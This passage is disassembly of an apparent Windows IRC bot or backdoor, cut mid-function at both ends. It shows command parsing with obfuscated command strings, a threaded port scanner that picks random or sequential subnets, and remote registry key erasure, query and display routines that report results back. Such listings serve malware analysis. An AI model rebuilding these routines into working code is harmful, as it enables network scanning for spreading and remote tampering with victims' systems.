		mov	[ebp+var_1A8], ecx


loc_407E8D:				; CODE XREF: sub_403B2C+4346j
		xor	eax, eax


loc_407E8F:				; CODE XREF: sub_403B2C+431Ej
		cmp	[ebp+var_1A8], eax
		jnz	short loc_407EA6
		mov	ebx, offset aRaMr15qabm1 ; "RA/Mr15qAbm1"
		mov	esi, offset aSInvalidPort ; "%s	Invalid	port"
		jmp	loc_40AD7A
; ---------------------------------------------------------------------------


loc_407EA6:				; CODE XREF: sub_403B2C+4369j
		mov	ecx, [esi+14h]
		cmp	ecx, eax
		jz	loc_407F39
		push	ecx
		push	offset aX_x_x_x	; "x.x.x.x"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407F0A
		call	dword_42F164	; GetTickCount
		push	eax
		call	sub_4220EF
		pop	ecx


loc_407ECF:				; CODE XREF: sub_403B2C+43B6j
		call	sub_4220FC
		cdq
		mov	ecx, 0F0h
		idiv	ecx
		add	edx, 4
		cmp	edx, 7Fh
		jz	short loc_407ECF
		push	edx
		push	offset aD_x_x_x	; "%d.x.x.x"
		lea	eax, [ebp+var_238]
		push	10h
		push	eax
		call	sub_42219B
		add	esp, 10h


loc_407EFB:				; CODE XREF: sub_403B2C+45C9j
					; sub_403B2C+45D1j ...
		mov	[ebp+var_17C], 1
		jmp	loc_408014
; ---------------------------------------------------------------------------


loc_407F0A:				; CODE XREF: sub_403B2C+4394j
		push	dword ptr [esi+14h]
		lea	eax, [ebp+var_238]
		push	10h
		push	eax
		call	sub_42219B
		push	78h
		push	dword ptr [esi+14h]
		call	sub_4233B0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_17C], eax
		jmp	loc_408014
; ---------------------------------------------------------------------------


loc_407F39:				; CODE XREF: sub_403B2C+437Fj
		cmp	[ebp+arg_60], eax
		jnz	short loc_407F71
		cmp	[ebp+arg_50], eax
		jnz	loc_40805F
		cmp	[ebp+arg_54], eax
		jnz	loc_40805F
		cmp	[ebp+arg_58], eax
		jnz	loc_40805F
		cmp	[ebp+arg_5C], eax
		jnz	loc_40805F
		mov	ebx, offset aRaMr15qabm1 ; "RA/Mr15qAbm1"
		mov	esi, offset aSNoIpSpecified ; "%s No IP	specified."
		jmp	loc_40AD7A
; ---------------------------------------------------------------------------


loc_407F71:				; CODE XREF: sub_403B2C+4410j
		cmp	[ebp+arg_50], eax
		jz	short loc_407F7F
		mov	[ebp+arg_C], 1
		jmp	short loc_407F9D
; ---------------------------------------------------------------------------


loc_407F7F:				; CODE XREF: sub_403B2C+4448j
		cmp	[ebp+arg_54], eax
		jz	short loc_407F8D
		mov	[ebp+arg_C], 2
		jmp	short loc_407F9D
; ---------------------------------------------------------------------------


loc_407F8D:				; CODE XREF: sub_403B2C+4456j
		cmp	[ebp+arg_58], eax
		jz	loc_408050
		mov	[ebp+arg_C], 3


loc_407F9D:				; CODE XREF: sub_403B2C+4451j
					; sub_403B2C+445Fj
		mov	esi, offset dword_4552D0
		push	offset byte_44D6A4
		push	esi
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407FBE
		push	esi
		call	sub_414173
		test	eax, eax
		pop	ecx
		jz	short loc_407FE4


loc_407FBE:				; CODE XREF: sub_403B2C+4485j
		mov	ecx, [ebp+arg_10]
		call	sub_41111B
		mov	ecx, [ebp+arg_10]
		push	eax
		call	sub_4105B8
		mov	ebx, eax
		push	2710h
		push	ebx
		call	dword_42F064	; WaitForSingleObject
		push	ebx
		call	dword_42F038	; CloseHandle


loc_407FE4:				; CODE XREF: sub_403B2C+4490j
		push	[ebp+arg_C]
		mov	ebx, [ebp+arg_5C]
		push	ebx
		push	esi
		call	sub_401311
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40AF54
		push	10h
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		call	sub_4222F0
		add	esp, 0Ch


loc_40800E:				; CODE XREF: sub_403B2C+4592j
		mov	[ebp+var_17C], ebx


loc_408014:				; CODE XREF: sub_403B2C+43D9j
					; sub_403B2C+4408j
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+arg_10]
		mov	[ebp+var_188], eax
		mov	eax, [ebp+arg_20]
		mov	[ebp+var_180], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_184], eax
		mov	[ebp+var_170], ecx
		test	eax, eax
		lea	eax, [ebp+var_228]
		jz	loc_408124
		push	offset dword_439638
		jmp	loc_408129
; ---------------------------------------------------------------------------


loc_408050:				; CODE XREF: sub_403B2C+4464j
		mov	ebx, offset aRaMr15qabm1 ; "RA/Mr15qAbm1"
		mov	esi, offset aSNoSubnetClass ; "%s No subnet class specified."
		jmp	loc_40AD7A
; ---------------------------------------------------------------------------


loc_40805F:				; CODE XREF: sub_403B2C+4415j
					; sub_403B2C+441Ej ...
		mov	ecx, [ebp+arg_10]
		push	10h
		pop	esi
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		mov	[ebp+var_2C], esi
		call	sub_41112B
		push	eax
		call	dword_4542A8	; getsockname
		xor	ebx, ebx
		cmp	[ebp+arg_50], ebx
		jz	short loc_40808C
		and	[ebp+var_38], 0FFh
		jmp	short loc_4080A1
; ---------------------------------------------------------------------------


loc_40808C:				; CODE XREF: sub_403B2C+4555j
		cmp	[ebp+arg_54], ebx
		jz	short loc_408098
		and	word ptr [ebp+var_38+2], 0
		jmp	short loc_4080A1
; ---------------------------------------------------------------------------


loc_408098:				; CODE XREF: sub_403B2C+4563j
		cmp	[ebp+arg_58], ebx
		jz	short loc_4080A1
		and	byte ptr [ebp+var_38+3], 0


loc_4080A1:				; CODE XREF: sub_403B2C+455Ej
					; sub_403B2C+456Aj ...
		push	esi
		push	[ebp+var_38]
		call	dword_45439C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		call	sub_4222F0
		add	esp, 0Ch
		cmp	[ebp+arg_5C], ebx
		jz	loc_40800E
		xor	esi, esi
		cmp	[ebp+arg_50], ebx
		jz	short loc_4080D0
		push	3


loc_4080CD:				; CODE XREF: sub_403B2C+45ABj
		pop	esi
		jmp	short loc_4080E1
; ---------------------------------------------------------------------------


loc_4080D0:				; CODE XREF: sub_403B2C+459Dj
		cmp	[ebp+arg_54], ebx
		jz	short loc_4080D9
		push	2
		jmp	short loc_4080CD
; ---------------------------------------------------------------------------


loc_4080D9:				; CODE XREF: sub_403B2C+45A7j
		cmp	[ebp+arg_58], ebx
		jz	short loc_4080E1
		xor	esi, esi
		inc	esi


loc_4080E1:				; CODE XREF: sub_403B2C+45A2j
					; sub_403B2C+45B0j
		lea	eax, [ebp+var_238]
		push	30h
		push	eax
		call	sub_4234F0
		pop	ecx
		xor	bl, bl
		test	esi, esi
		pop	ecx
		jle	loc_407EFB


loc_4080FB:				; CODE XREF: sub_403B2C+45F1j
		test	eax, eax
		jz	loc_407EFB
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_238]
		push	30h
		push	eax
		call	sub_4234F0
		pop	ecx
		inc	bl
		pop	ecx
		movsx	ecx, bl
		cmp	ecx, esi
		jl	short loc_4080FB
		jmp	loc_407EFB
; ---------------------------------------------------------------------------


loc_408124:				; CODE XREF: sub_403B2C+4514j
		push	offset dword_439644


loc_408129:				; CODE XREF: sub_403B2C+451Fj
		push	eax
		call	dword_42F04C	; lstrcpyA
		cmp	[ebp+var_17C], 0
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_408143
		mov	eax, offset aSequential	; "Sequential"


loc_408143:				; CODE XREF: sub_403B2C+4610j
		push	[ebp+var_190]
		lea	ecx, [ebp+var_238]
		mov	ebx, offset aRaMr15qabm1 ; "RA/Mr15qAbm1"
		mov	esi, offset aSSPortscanStar ; "%s %s PortScan started on %s:%d with a "...
		push	[ebp+var_1A0]
		push	[ebp+var_1A4]
		push	[ebp+var_1A8]
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	8
		call	sub_41BED7
		add	esp, 24h
		mov	[ebp+var_19C], eax
		lea	eax, [ebp+arg_6C]
		lea	ecx, [ebp+var_238]
		push	eax
		xor	eax, eax
		push	eax
		push	ecx
		push	offset sub_40178D
		push	eax
		push	eax
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_19C]
		imul	ecx, 1018h
		test	eax, eax
		mov	dword_46D414[ecx], eax
		jnz	short loc_4081F7
		cmp	[ebp+arg_14], eax
		mov	esi, dword_42F068
		jnz	short loc_4081D7
		cmp	[ebp+arg_18], eax
		jnz	short loc_4081E1
		call	esi ; dword_42F068
		push	eax
		push	ebx
		push	offset aSFailedToSta_0 ; "%s Failed to start scan thread, error: "...
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 14h


loc_4081D7:				; CODE XREF: sub_403B2C+468Dj
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_4081E1:				; CODE XREF: sub_403B2C+4692j
		call	esi ; dword_42F068
		push	eax
		push	ebx
		push	offset aSFailedToSta_0 ; "%s Failed to start scan thread, error: "...
		jmp	loc_40A5C3
; ---------------------------------------------------------------------------


loc_4081EF:				; CODE XREF: sub_403B2C+46D2j
		push	32h
		call	dword_42F15C	; Sleep


loc_4081F7:				; CODE XREF: sub_403B2C+4682j
		cmp	[ebp+var_178], 0
		jz	short loc_4081EF
		xor	eax, eax
		cmp	[ebp+arg_14], eax
		jnz	short loc_408257
		cmp	[ebp+arg_18], eax
		jnz	short loc_408261
		cmp	[ebp+arg_1C], eax
		jnz	loc_40AF54
		cmp	[ebp+var_17C], eax
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_408227
		mov	eax, offset aSequential	; "Sequential"


loc_408227:				; CODE XREF: sub_403B2C+46F4j
		push	[ebp+var_190]
		lea	ecx, [ebp+var_238]
		push	[ebp+var_1A0]
		push	[ebp+var_1A4]
		push	[ebp+var_1A8]
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 28h


loc_408257:				; CODE XREF: sub_403B2C+46D9j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_408261:				; CODE XREF: sub_403B2C+46DEj
		cmp	[ebp+var_17C], 0
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_408274
		mov	eax, offset aSequential	; "Sequential"


loc_408274:				; CODE XREF: sub_403B2C+4741j
		push	[ebp+var_190]
		lea	ecx, [ebp+var_238]
		push	[ebp+var_1A0]
		push	[ebp+var_1A4]
		push	[ebp+var_1A8]
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		add	esp, 28h
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_4082A8:				; CODE XREF: sub_403B2C+4255j
		push	dword ptr [esi]
		push	offset a7tmte_meccn ; "7Tmte.MEccn/"
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_40A5F7
		push	dword ptr [esi]
		push	offset aWn7_tNza2v ; "wN7.t/nZA2V/"
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_40A5F7
		push	dword ptr [esi]
		push	offset aGkyv90skypy ; "gkYv90Skypy/"
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_40A5F7
		push	dword ptr [esi]
		push	offset aX2yn5_2imz1 ; "X2yN5/.2ImZ1"
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_40A5F7
		push	dword ptr [esi]
		push	offset aNPbw1sdkiw_ ; "N/pbW1sDKiw."
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_40A5F7
		push	dword ptr [esi]
		push	offset aFdxpb0leh21_ ; "fDxPB0lEh21."
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_40A5F7
		push	dword ptr [esi]
		push	offset aVb1r0N_arr0 ; "vB1r0/N.Arr0"
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_40A5F7
		push	dword ptr [esi]
		push	offset aUts3o_rfmks_ ; "uts3o.RfmkS."
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_40A5F7
		push	dword ptr [esi]
		push	offset aBpyvp_fw0vy1 ; "bPYVP.Fw0vY1"
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_40A5F7
		push	dword ptr [esi]
		push	offset aQxqog1goyq80 ; "QXqOg1gOYq80"
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_40A5F7
		push	dword ptr [esi]
		push	offset aZjiqo07c20 ; "ZjIqO/07c2/0"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_408AF5
		mov	eax, [esi+4]
		xor	ecx, ecx
		cmp	eax, ecx
		jz	loc_408AC3
		cmp	[esi+8], ecx
		jz	loc_408AC3
		cmp	[esi+0Ch], ecx
		jz	loc_408AC3
		push	eax
		push	offset aEavyh_ic0dc0_0 ; "eAvYh.IC0dc0"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_40852E
		push	dword ptr [esi+8]
		call	sub_41A292
		push	dword ptr [esi+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [esi+0Ch]
		mov	[ebp+arg_8], eax
		lea	eax, [ebp+var_1314]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_422063
		add	esp, 10h
		push	5
		pop	ebx
		cmp	[ebp+arg_4], ebx
		jle	short loc_4083FC


loc_4083C2:				; CODE XREF: sub_403B2C+48CEj
		mov	eax, [esi+ebx*4]
		test	eax, eax
		jz	short loc_4083F6
		push	eax
		lea	eax, [ebp+var_1BCAC]
		push	offset aS_0	; " %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_1BCAC]
		push	104h
		push	eax
		lea	eax, [ebp+var_1314]
		push	eax
		call	sub_421F40
		add	esp, 18h


loc_4083F6:				; CODE XREF: sub_403B2C+489Bj
		inc	ebx
		cmp	ebx, [ebp+arg_4]
		jl	short loc_4083C2


loc_4083FC:				; CODE XREF: sub_403B2C+4894j
		mov	al, [ebp+arg_34]
		mov	byte ptr [ebp+arg_C+3],	5Fh
		test	al, al
		jz	short loc_40840A
		mov	byte ptr [ebp+arg_C+3],	al


loc_40840A:				; CODE XREF: sub_403B2C+48D9j
		cmp	[ebp+arg_30], 0
		jz	short loc_408472
		push	[ebp+arg_8]
		xor	ebx, ebx
		call	sub_422120
		test	eax, eax
		pop	ecx
		jbe	short loc_40843C


loc_40841F:				; CODE XREF: sub_403B2C+490Ej
		mov	eax, [ebp+arg_8]
		mov	cl, byte ptr [ebp+arg_C+3]
		add	eax, ebx
		cmp	[eax], cl
		jnz	short loc_40842E
		mov	byte ptr [eax],	20h


loc_40842E:				; CODE XREF: sub_403B2C+48FDj
		push	[ebp+arg_8]
		inc	ebx
		call	sub_422120
		cmp	ebx, eax
		pop	ecx
		jb	short loc_40841F


loc_40843C:				; CODE XREF: sub_403B2C+48F1j
		lea	eax, [ebp+var_1314]
		xor	ebx, ebx
		push	eax
		call	sub_422120
		test	eax, eax
		pop	ecx
		jbe	short loc_408472


loc_40844F:				; CODE XREF: sub_403B2C+4944j
		mov	cl, byte ptr [ebp+arg_C+3]
		lea	eax, [ebp+ebx+var_1314]
		cmp	[eax], cl
		jnz	short loc_408460
		mov	byte ptr [eax],	20h


loc_408460:				; CODE XREF: sub_403B2C+492Fj
		lea	eax, [ebp+var_1314]
		inc	ebx
		push	eax
		call	sub_422120
		cmp	ebx, eax
		pop	ecx
		jb	short loc_40844F


loc_408472:				; CODE XREF: sub_403B2C+48E2j
					; sub_403B2C+4921j
		lea	eax, [ebp+var_1314]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_41A454
		add	esp, 0Ch
		mov	ebx, offset aTovrfYuzfi1mns ; "tOVrF/YuzFI1Mnsrm1FhS.k."
		test	eax, eax
		jz	short loc_4084DF
		cmp	[ebp+arg_14], 0
		jnz	short loc_4084BD
		cmp	[ebp+arg_18], 0
		jnz	short loc_4084C7
		lea	eax, [ebp+var_1314]
		push	eax
		push	[ebp+arg_8]
		push	dword ptr [esi+8]
		push	ebx
		push	offset aSErasedKeySSS ;	"%s Erased Key:	%s\\%s\\%s"
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 1Ch


loc_4084BD:				; CODE XREF: sub_403B2C+4968j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_4084C7:				; CODE XREF: sub_403B2C+496Ej
		lea	eax, [ebp+var_1314]
		push	eax
		push	[ebp+arg_8]
		push	dword ptr [esi+8]
		push	ebx
		push	offset aSErasedKeySSS ;	"%s Erased Key:	%s\\%s\\%s"
		jmp	loc_404F2E
; ---------------------------------------------------------------------------


loc_4084DF:				; CODE XREF: sub_403B2C+4962j
		cmp	[ebp+arg_14], 0
		jnz	short loc_40850C
		cmp	[ebp+arg_18], 0
		jnz	short loc_408516
		lea	eax, [ebp+var_1314]
		push	eax
		push	[ebp+arg_8]
		push	dword ptr [esi+8]
		push	ebx
		push	offset aSFailedToErase ; "%s Failed to erase key: %s\\%s\\%s"
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 1Ch


loc_40850C:				; CODE XREF: sub_403B2C+49B7j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_408516:				; CODE XREF: sub_403B2C+49BDj
		lea	eax, [ebp+var_1314]
		push	eax
		push	[ebp+arg_8]
		push	dword ptr [esi+8]
		push	ebx
		push	offset aSFailedToErase ; "%s Failed to erase key: %s\\%s\\%s"
		jmp	loc_404F2E
; ---------------------------------------------------------------------------


loc_40852E:				; CODE XREF: sub_403B2C+4860j
		push	dword ptr [esi+4]
		push	offset aA4pllAqpbg_ ; "a4pll/aQpBg."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_40882B
		cmp	[esi+10h], eax
		push	dword ptr [esi+8]
		jnz	short loc_408598
		call	sub_41A292
		mov	ebx, [ebp+arg_10]
		mov	ecx, [esi+0Ch]
		push	ebx
		push	dword ptr [edi+0Ch]
		push	ecx
		push	eax
		call	sub_41A60E
		add	esp, 14h
		push	dword ptr [esi+0Ch]
		test	eax, eax
		push	dword ptr [esi+8]
		push	offset aTovrfYuzfi1mns ; "tOVrF/YuzFI1Mnsrm1FhS.k."
		jz	short loc_408577
		push	offset aSDoneWithQuery ; "%s Done with query: %s\\%s"
		jmp	short loc_40857C
; ---------------------------------------------------------------------------


loc_408577:				; CODE XREF: sub_403B2C+4A42j
		push	offset aSFailedToQuery ; "%s Failed to query: %s\\%s"


loc_40857C:				; CODE XREF: sub_403B2C+4A49j
		cmp	[ebp+arg_18], 0
		jnz	short loc_408590
		push	dword ptr [edi+0Ch]
		push	ebx
		call	sub_4104F6
		jmp	loc_40AF51
; ---------------------------------------------------------------------------


loc_408590:				; CODE XREF: sub_403B2C+4A54j
		push	dword ptr [edi]
		push	ebx
		jmp	loc_40AF4C
; ---------------------------------------------------------------------------


loc_408598:				; CODE XREF: sub_403B2C+4A1Aj
		call	sub_41A370
		push	dword ptr [esi+0Ch]
		mov	[ebp+arg_8], eax
		call	sub_41A292
		mov	ebx, [esi+10h]
		mov	[ebp+var_4], eax
		mov	al, [ebp+arg_34]
		pop	ecx
		test	al, al
		pop	ecx
		mov	[ebp+arg_0], ebx
		mov	byte ptr [ebp+arg_C+3],	5Fh
		jz	short loc_4085C1
		mov	byte ptr [ebp+arg_C+3],	al


loc_4085C1:				; CODE XREF: sub_403B2C+4A90j
		cmp	[ebp+arg_30], 0
		jz	short loc_4085F4
		and	[ebp+arg_4], 0
		push	ebx
		call	sub_422120
		test	eax, eax
		pop	ecx
		jbe	short loc_4085F4


loc_4085D6:				; CODE XREF: sub_403B2C+4AC6j
		mov	eax, [ebp+arg_4]
		mov	cl, byte ptr [ebp+arg_C+3]
		add	eax, ebx
		cmp	[eax], cl
		jnz	short loc_4085E5
		mov	byte ptr [eax],	20h


loc_4085E5:				; CODE XREF: sub_403B2C+4AB4j
		inc	[ebp+arg_4]
		push	ebx
		call	sub_422120
		cmp	[ebp+arg_4], eax
		pop	ecx
		jb	short loc_4085D6


loc_4085F4:				; CODE XREF: sub_403B2C+4A99j
					; sub_403B2C+4AA8j
		mov	ebx, [esi+14h]
		test	ebx, ebx
		jz	loc_40AF54
		cmp	[ebp+arg_30], 0
		jz	short loc_408632
		and	[ebp+arg_4], 0
		push	ebx
		call	sub_422120
		test	eax, eax
		pop	ecx
		jbe	short loc_408632


loc_408614:				; CODE XREF: sub_403B2C+4B04j
		mov	eax, [ebp+arg_4]
		mov	cl, byte ptr [ebp+arg_C+3]
		add	eax, ebx
		cmp	[eax], cl
		jnz	short loc_408623
		mov	byte ptr [eax],	20h


loc_408623:				; CODE XREF: sub_403B2C+4AF2j
		inc	[ebp+arg_4]
		push	ebx
		call	sub_422120
		cmp	[ebp+arg_4], eax
		pop	ecx
		jb	short loc_408614


loc_408632:				; CODE XREF: sub_403B2C+4AD7j
					; sub_403B2C+4AE6j
		mov	eax, [ebp+arg_8]
		cmp	eax, 1
		jz	short loc_4086B2
		cmp	eax, 7
		jz	short loc_4086B2
		cmp	eax, 2
		jz	short loc_4086B2
		cmp	eax, 4
		jnz	loc_40AF54
		lea	eax, [ebp+var_24]
		and	[ebp+var_24], 0
		push	eax
		push	ebx
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41A7B3
		add	esp, 10h
		cmp	[ebp+var_24], 0
		jz	short loc_408690
		push	eax
		push	dword ptr [esi+14h]
		push	dword ptr [esi+10h]
		push	dword ptr [esi+0Ch]
		push	offset aTovrfYuzfi1mns ; "tOVrF/YuzFI1Mnsrm1FhS.k."
		push	offset aSQuerySSSD ; "%s Query:	%s\\%s\\%s: %d"


loc_40867E:				; CODE XREF: sub_403B2C+4CCAj
		cmp	[ebp+arg_18], 0
		jnz	loc_408A5B
		push	dword ptr [edi+0Ch]
		jmp	loc_403F6A
; ---------------------------------------------------------------------------


loc_408690:				; CODE XREF: sub_403B2C+4B3Cj
		push	dword ptr [esi+14h]
		cmp	[ebp+arg_18], 0
		push	dword ptr [esi+10h]
		push	dword ptr [esi+0Ch]
		push	offset aTovrfYuzfi1mns ; "tOVrF/YuzFI1Mnsrm1FhS.k."
		push	offset aSFailedToQue_0 ; "%s Failed to query: %s\\%s\\%s"
		jnz	loc_408818
		jmp	loc_404F2E
; ---------------------------------------------------------------------------


loc_4086B2:				; CODE XREF: sub_403B2C+4B0Cj
					; sub_403B2C+4B11j ...
		push	[ebp+arg_8]
		push	ebx
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41A829
		add	esp, 10h
		mov	[ebp+arg_C], eax
		test	eax, eax
		jz	loc_4087FB
		cmp	[ebp+arg_8], 7
		jnz	loc_4087E2
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aTovrfYuzfi1mns ; "tOVrF/YuzFI1Mnsrm1FhS.k."
		jnz	short loc_408707
		cmp	[ebp+arg_18], 0
		jnz	short loc_40870D
		push	dword ptr [esi+14h]
		push	dword ptr [esi+10h]
		push	dword ptr [esi+0Ch]
		push	ebx
		push	offset aSDisplayingSSS ; "%s Displaying: %s\\%s\\%s"
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 1Ch


loc_408707:				; CODE XREF: sub_403B2C+4BB6j
		cmp	[ebp+arg_18], 0
		jz	short loc_408729


loc_40870D:				; CODE XREF: sub_403B2C+4BBCj
		push	dword ptr [esi+14h]
		push	dword ptr [esi+10h]
		push	dword ptr [esi+0Ch]
		push	ebx
		push	offset aSDisplayingSSS ; "%s Displaying: %s\\%s\\%s"
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		add	esp, 1Ch


loc_408729:				; CODE XREF: sub_403B2C+4BDFj
		push	offset asc_433F80 ; "\n"
		push	[ebp+arg_C]
		jmp	short loc_408766
; ---------------------------------------------------------------------------


loc_408733:				; CODE XREF: sub_403B2C+4C4Ej
		mov	eax, [ebp+arg_4]
		and	byte ptr [eax],	0
		cmp	[ebp+arg_18], 0
		jnz	short loc_40874C
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		jmp	short loc_408756
; ---------------------------------------------------------------------------


loc_40874C:				; CODE XREF: sub_403B2C+4C11j
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491


loc_408756:				; CODE XREF: sub_403B2C+4C1Ej
		mov	eax, [ebp+arg_4]
		add	esp, 10h
		inc	eax
		push	offset asc_433F80 ; "\n"
		mov	[ebp+arg_C], eax
		push	eax


loc_408766:				; CODE XREF: sub_403B2C+4C05j
		call	sub_4235C0
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		push	[ebp+arg_C]
		test	eax, eax
		push	offset aS_1	; "%s"
		jnz	short loc_408733
		cmp	[ebp+arg_18], eax
		jnz	short loc_40878E
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		jmp	short loc_408798
; ---------------------------------------------------------------------------


loc_40878E:				; CODE XREF: sub_403B2C+4C53j
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491


loc_408798:				; CODE XREF: sub_403B2C+4C60j
		add	esp, 10h
		cmp	[ebp+arg_14], 0
		jnz	short loc_4087C4
		cmp	[ebp+arg_18], 0
		jnz	short loc_4087CE
		push	dword ptr [esi+14h]
		push	dword ptr [esi+10h]
		push	dword ptr [esi+0Ch]
		push	ebx
		push	offset aSFinishedDispl ; "%s Finished displaying: %s\\%s\\%s"
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 1Ch


loc_4087C4:				; CODE XREF: sub_403B2C+4C73j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_4087CE:				; CODE XREF: sub_403B2C+4C79j
		push	dword ptr [esi+14h]
		push	dword ptr [esi+10h]
		push	dword ptr [esi+0Ch]
		push	ebx
		push	offset aSFinishedDispl ; "%s Finished displaying: %s\\%s\\%s"
		jmp	loc_404F2E
; ---------------------------------------------------------------------------


loc_4087E2:				; CODE XREF: sub_403B2C+4BA7j
		push	eax
		push	dword ptr [esi+14h]
		push	dword ptr [esi+10h]
		push	dword ptr [esi+0Ch]
		push	offset aTovrfYuzfi1mns ; "tOVrF/YuzFI1Mnsrm1FhS.k."
		push	offset aSQuerySSSS ; "%s Query:	%s\\%s\\%s: %s"
		jmp	loc_40867E
; ---------------------------------------------------------------------------


loc_4087FB:				; CODE XREF: sub_403B2C+4B9Dj
		push	dword ptr [esi+14h]
		cmp	[ebp+arg_18], 0
		push	dword ptr [esi+10h]
		push	dword ptr [esi+0Ch]
		push	offset aTovrfYuzfi1mns ; "tOVrF/YuzFI1Mnsrm1FhS.k."
		push	offset aSFailedToQue_0 ; "%s Failed to query: %s\\%s\\%s"
		jnz	loc_404F2E


loc_408818:				; CODE XREF: sub_403B2C+13D9j
					; sub_403B2C+4B7Bj
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6


loc_408823:				; CODE XREF: sub_403B2C+140Cj
		add	esp, 1Ch
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_40882B:				; CODE XREF: sub_403B2C+4A0Ej
		push	dword ptr [esi+4]
		push	offset aNn0i61ujg7h1 ; "NN0i61uJg7H1"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_40AF54
		cmp	[esi+10h], eax
		jz	loc_408AB4
		cmp	[esi+14h], eax
		jz	loc_408AB4
		cmp	[esi+18h], eax
		jz	loc_408AB4
		push	dword ptr [esi+8]
		call	sub_41A370
		push	dword ptr [esi+0Ch]
		mov	[ebp+var_4], eax
		call	sub_41A292
		mov	ebx, [esi+10h]
		mov	[ebp+var_8], eax
		mov	eax, [esi+14h]
		pop	ecx
		mov	[ebp+arg_4], eax
		mov	al, [ebp+arg_34]
		test	al, al
		pop	ecx
		mov	[ebp+arg_0], ebx
		mov	byte ptr [ebp+arg_C+3],	5Fh
		jz	short loc_40888A
		mov	byte ptr [ebp+arg_C+3],	al


loc_40888A:				; CODE XREF: sub_403B2C+4D59j
		cmp	[ebp+arg_30], 0
		jz	short loc_4088F1
		and	[ebp+arg_8], 0
		push	ebx
		call	sub_422120
		test	eax, eax
		pop	ecx
		jbe	short loc_4088BD


loc_40889F:				; CODE XREF: sub_403B2C+4D8Fj
		mov	eax, [ebp+arg_8]
		mov	cl, byte ptr [ebp+arg_C+3]
		add	eax, ebx
		cmp	[eax], cl
		jnz	short loc_4088AE
		mov	byte ptr [eax],	20h


loc_4088AE:				; CODE XREF: sub_403B2C+4D7Dj
		inc	[ebp+arg_8]
		push	ebx
		call	sub_422120
		cmp	[ebp+arg_8], eax
		pop	ecx
		jb	short loc_40889F


loc_4088BD:				; CODE XREF: sub_403B2C+4D71j
		push	[ebp+arg_4]
		and	[ebp+arg_8], 0
		call	sub_422120
		test	eax, eax
		pop	ecx
		jbe	short loc_4088F1


loc_4088CE:				; CODE XREF: sub_403B2C+4DC3j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_4]
		add	eax, ecx
		mov	cl, byte ptr [ebp+arg_C+3]
		cmp	[eax], cl
		jnz	short loc_4088E0
		mov	byte ptr [eax],	20h


loc_4088E0:				; CODE XREF: sub_403B2C+4DAFj
		push	[ebp+arg_4]
		inc	[ebp+arg_8]
		call	sub_422120
		cmp	[ebp+arg_8], eax
		pop	ecx
		jb	short loc_4088CE


loc_4088F1:				; CODE XREF: sub_403B2C+4D62j
					; sub_403B2C+4DA0j
		mov	eax, [ebp+var_4]
		cmp	eax, 1
		jz	loc_4089F5
		cmp	eax, 7
		jz	loc_4089F5
